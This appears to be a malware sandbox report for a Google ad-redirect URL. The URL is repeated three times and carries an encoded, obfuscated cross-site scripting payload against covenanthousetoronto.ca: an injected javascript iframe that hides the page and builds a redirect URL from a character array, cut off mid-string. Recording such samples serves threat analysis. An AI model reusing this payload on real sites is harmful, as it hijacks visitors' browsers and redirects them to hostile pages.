hxxp://https[:]/www[.]googleadservices[.]com/pagead/aclk?sa=L&ai=CZ7F4sNrLZJTzH8PX1gbvwoPAA_TvlMxxm-ThnPIR_OfCx5kSEAEgqLmBc2D56--E9C-gAdyzgP4DyAEJqAMByAPLBKoE-gFP0DhIu-MYWUiLb-f5-m3vJYDh_XAnr0DvOX5R8DLH2_mC-XiScEu2c5D2gNYJeNfEDxJFqYvVgF1jN-g0xj7KniWb8_3oIlyVQTQY1k-vNAYGGrYMXcBiOXJwzTlkJG7H_3dj-W7PU1c-QBSntlj_8HS1y-MoFfECabH5Iq2huljfkHYGIyhjHv1-mxbQMsvJXsVw-vnD2seNc2IslpZubaAL6NWMMQvsxOmB6aA_RQXi3RNgRxflwy43N5f1LJtJ4FM9uZRVamenq8FpiGOhJThVhczkkZbaeIhpVZ2a8_R36NYHHXiwBIClb5WFdjEuDCGVtoH2rcz-wATpn8itiASQBgGgBi6AB-zx3KkDiAcBkAcCqAfZtrECqAeOzhuoB5PYG6gH7paxAqgH_p6xAqgHpKOxAqgH1ckbqAemvhuoB5oGqAfz0RuoB5bYG6gHqpuxAqgHg62xAqgH_56xAqgH35-xAtgHANIIGAgAEAIYGjIBADoIn9CAgICABBBIvf3BOpoJHmh0dHBzOi8vd3d3LmdvZGFkZHkuY29tL2VuLWllL7EJ2ITeFGHGyTuACgHICwHgCwGADAGiDAgqBgoEw7CxArgMAbgT5APYEw3QFQH4FgGAFwE&num=1&cid=CAQSQwBpAlJWvwSXuBAD0JvFbc3xbee398IACZe82FO0JK8CrXsvJ4nDgcfd2wBrn8ymjkmanmGjb_crUvC8c-u4HZM_3R4YAQ&sig=AOD64_0ck1eZ9_JVDy6shux8E6eWUuQdug&client=ca-pub-6015942838432926&rf=1&nb=0&adurl=https*3A*2F*2Fcovenanthousetoronto[.]ca*2F*3Fs*3D*2522*253E*257CCryptography*2520menu[.]get*3D*mime**A2520*25C2*25A7intelligence[.]start(*dispatchEvent*)*2520lib*2520*25C2*25A7computing(*start*)[.]reality*2520onUpdated*25C2*25A7*257C*2520Blockchain*25C2*25A7*2520gif**A2520location[.]reload()*25C2*25A7*2520web*2522*2520rsc*2560*2520door(*2520remake*3D*2520redo)*25C2*25A7*2520onstart_*2520attitudelocal_marine*25C2*25A7*2520menu[.]get*3D*2560mime*2560*2520library[.]start(*2560await*2560)*2520lib*25C2*25A7*2520process*25C2*25A7(*2560start*2560)[.]load*2520arch[.]hand()*2520folder[.]setElementByCode(*2560socar*2560)*25C2*25A7*2520contact(*2560r*2560*2C*25605*2560)*2520*25C2*25A7connect*3D*2560hola*2560[.]fix()*2522*253E*253Ciframe*2520src*3Djavascript*253A*252F*252Afd7*25C2*25A7ljj*255Bljj[.]attol1*255Dkhalfyacoleur*25C2*25A7blanch*252A*252FcodeString*3D*2560win*2560*252B*2560dow[.]par*2560*252B*2560ent[.]docu*2560*252B*2560ment[.]docu*2560*252B*2560mentEle*2560*252B*2560ment[.]st*2560*252B*2560yle[.]opa*2560*252B*2560city*3D0*3Burl*3D*255B66*2C94*2C94*2C90*2C89*2C16*2C5*2C5*2C73*2C95*2C94*2C94*2C4*2

Sharing

Behavioral task

behavioral1

Sample

http://https:/www.googleadservices.com/pagead/aclk?sa=L&ai=CZ7F4sNrLZJTzH8PX1gbvwoPAA_TvlMxxm-ThnPIR_OfCx5kSEAEgqLmBc2D56--E9C-gAdyzgP4DyAEJqAMByAPLBKoE-gFP0DhIu-MYWUiLb-f5-m3vJYDh_XAnr0DvOX5R8DLH2_mC-XiScEu2c5D2gNYJeNfEDxJFqYvVgF1jN-g0xj7KniWb8_3oIlyVQTQY1k-vNAYGGrYMXcBiOXJwzTlkJG7H_3dj-W7PU1c-QBSntlj_8HS1y-MoFfECabH5Iq2huljfkHYGIyhjHv1-mxbQMsvJXsVw-vnD2seNc2IslpZubaAL6NWMMQvsxOmB6aA_RQXi3RNgRxflwy43N5f1LJtJ4FM9uZRVamenq8FpiGOhJThVhczkkZbaeIhpVZ2a8_R36NYHHXiwBIClb5WFdjEuDCGVtoH2rcz-wATpn8itiASQBgGgBi6AB-zx3KkDiAcBkAcCqAfZtrECqAeOzhuoB5PYG6gH7paxAqgH_p6xAqgHpKOxAqgH1ckbqAemvhuoB5oGqAfz0RuoB5bYG6gHqpuxAqgHg62xAqgH_56xAqgH35-xAtgHANIIGAgAEAIYGjIBADoIn9CAgICABBBIvf3BOpoJHmh0dHBzOi8vd3d3LmdvZGFkZHkuY29tL2VuLWllL7EJ2ITeFGHGyTuACgHICwHgCwGADAGiDAgqBgoEw7CxArgMAbgT5APYEw3QFQH4FgGAFwE&num=1&cid=CAQSQwBpAlJWvwSXuBAD0JvFbc3xbee398IACZe82FO0JK8CrXsvJ4nDgcfd2wBrn8ymjkmanmGjb_crUvC8c-u4HZM_3R4YAQ&sig=AOD64_0ck1eZ9_JVDy6shux8E6eWUuQdug&client=ca-pub-6015942838432926&rf=1&nb=0&adurl=https*3A*2F*2Fcovenanthousetoronto.ca*2F*3Fs*3D*2522*253E*257CCryptography*2520menu.get*3D*mime**A2520*25C2*25A7intelligence.start(*dispatchEvent*)*2520lib*2520*25C2*25A7computing(*start*).reality*2520onUpdated*25C2*25A7*257C*2520Blockchain*25C2*25A7*2520gif**A2520location.reload()*25C2*25A7*2520web*2522*2520rsc*2560*2520door(*2520remake*3D*2520redo)*25C2*25A7*2520onstart_*2520attitudelocal_marine*25C2*25A7*2520menu.get*3D*2560mime*2560*2520library.start(*2560await*2560)*2520lib*25C2*25A7*2520process*25C2*25A7(*2560start*2560).load*2520arch.hand()*2520folder.setElementByCode(*2560socar*2560)*25C2*25A7*2520contact(*2560r*2560*2C*25605*2560)*2520*25C2*25A7connect*3D*2560hola*2560.fix()*2522*253E*253Ciframe*2520src*3Djavascript*253A*252F*252Afd7*25C2*25A7ljj*255Bljj.attol1*255Dkhalfyacoleur*25C2*25A7blanch*252A*252FcodeString*3D*2560win*2560*252B*2560dow.par*2560*252B*2560ent.docu*2560*252B*2560ment.docu*2560*252B*2560mentEle*2560*252B*2560ment.st*2560*252B*2560yle.opa*2560*252B*2560city*3D0*3Burl*3D*255B66*2C94*2C94*2C90*2C89*2C16*2C5*2C5*2C73*2C95*2C94*2C94*2C4*2

Resource

win10v2004-20230703-en

windows10-2004-x64

7 signatures

300 seconds

General

Target

http://https:/www.googleadservices.com/pagead/aclk?sa=L&ai=CZ7F4sNrLZJTzH8PX1gbvwoPAA_TvlMxxm-ThnPIR_OfCx5kSEAEgqLmBc2D56--E9C-gAdyzgP4DyAEJqAMByAPLBKoE-gFP0DhIu-MYWUiLb-f5-m3vJYDh_XAnr0DvOX5R8DLH2_mC-XiScEu2c5D2gNYJeNfEDxJFqYvVgF1jN-g0xj7KniWb8_3oIlyVQTQY1k-vNAYGGrYMXcBiOXJwzTlkJG7H_3dj-W7PU1c-QBSntlj_8HS1y-MoFfECabH5Iq2huljfkHYGIyhjHv1-mxbQMsvJXsVw-vnD2seNc2IslpZubaAL6NWMMQvsxOmB6aA_RQXi3RNgRxflwy43N5f1LJtJ4FM9uZRVamenq8FpiGOhJThVhczkkZbaeIhpVZ2a8_R36NYHHXiwBIClb5WFdjEuDCGVtoH2rcz-wATpn8itiASQBgGgBi6AB-zx3KkDiAcBkAcCqAfZtrECqAeOzhuoB5PYG6gH7paxAqgH_p6xAqgHpKOxAqgH1ckbqAemvhuoB5oGqAfz0RuoB5bYG6gHqpuxAqgHg62xAqgH_56xAqgH35-xAtgHANIIGAgAEAIYGjIBADoIn9CAgICABBBIvf3BOpoJHmh0dHBzOi8vd3d3LmdvZGFkZHkuY29tL2VuLWllL7EJ2ITeFGHGyTuACgHICwHgCwGADAGiDAgqBgoEw7CxArgMAbgT5APYEw3QFQH4FgGAFwE&num=1&cid=CAQSQwBpAlJWvwSXuBAD0JvFbc3xbee398IACZe82FO0JK8CrXsvJ4nDgcfd2wBrn8ymjkmanmGjb_crUvC8c-u4HZM_3R4YAQ&sig=AOD64_0ck1eZ9_JVDy6shux8E6eWUuQdug&client=ca-pub-6015942838432926&rf=1&nb=0&adurl=https*3A*2F*2Fcovenanthousetoronto.ca*2F*3Fs*3D*2522*253E*257CCryptography*2520menu.get*3D*mime**A2520*25C2*25A7intelligence.start(*dispatchEvent*)*2520lib*2520*25C2*25A7computing(*start*).reality*2520onUpdated*25C2*25A7*257C*2520Blockchain*25C2*25A7*2520gif**A2520location.reload()*25C2*25A7*2520web*2522*2520rsc*2560*2520door(*2520remake*3D*2520redo)*25C2*25A7*2520onstart_*2520attitudelocal_marine*25C2*25A7*2520menu.get*3D*2560mime*2560*2520library.start(*2560await*2560)*2520lib*25C2*25A7*2520process*25C2*25A7(*2560start*2560).load*2520arch.hand()*2520folder.setElementByCode(*2560socar*2560)*25C2*25A7*2520contact(*2560r*2560*2C*25605*2560)*2520*25C2*25A7connect*3D*2560hola*2560.fix()*2522*253E*253Ciframe*2520src*3Djavascript*253A*252F*252Afd7*25C2*25A7ljj*255Bljj.attol1*255Dkhalfyacoleur*25C2*25A7blanch*252A*252FcodeString*3D*2560win*2560*252B*2560dow.par*2560*252B*2560ent.docu*2560*252B*2560ment.docu*2560*252B*2560mentEle*2560*252B*2560ment.st*2560*252B*2560yle.opa*2560*252B*2560city*3D0*3Burl*3D*255B66*2C94*2C94*2C90*2C89*2C16*2C5*2C5*2C73*2C95*2C94*2C94*2C4*2

Sharing

General

Malware Config

Signatures

Files